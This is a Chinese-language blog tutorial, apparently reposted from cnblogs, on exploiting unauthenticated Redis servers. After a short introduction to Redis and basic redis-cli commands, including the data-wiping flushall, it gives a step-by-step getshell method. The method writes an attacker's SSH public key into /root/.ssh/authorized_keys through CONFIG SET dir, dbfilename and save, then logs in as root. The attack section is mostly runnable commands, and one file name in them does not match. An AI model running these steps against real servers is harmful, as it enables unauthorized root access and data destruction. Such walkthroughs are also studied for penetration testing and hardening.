redis 漏洞利用

redis介绍

    Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
    Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

redis基本命令

1.连接redis:
redis-cli是redis的客户端管理工具,可用apt-get install redis-tools 安装
redis-cli -h 192.168.63.130 默认连接6379端口,空密码
redis-cli -h x.x.x.x -p 16379 -a q1w2e3r4 -p端口,-a密码

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info
将变量x的值设为test:
192.168.63.130:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.63.130:6379>flushall
查看所有键:
192.168.63.130:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

192.168.63.130:6379>CONFIG GET dir 
192.168.63.130:6379>CONFIG GET dbfilename

redis写入ssh公钥getshell

rsa是私钥,pub是公钥,把公钥写入目标redis的缓存中导出到目标的ssh目录,然后使用私钥登陆
1.ssh生成密钥
ssh-keygen -t rsa

2.redis写入公钥
注意:前后用\n换行,避免和Redis里其他缓存数据混合

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/1.txt | redis-cli -h 192.168.147.83 -p 16379 -a q1w2e3r4 -x set ssh

3.导出
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh       //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys           //保存文件名authorized_keys
save

4.ssh使用私钥连接
ssh -i id_rsa x.x.x.x -p 22198

原文地址:https://www.cnblogs.com/supdon/p/13469108.html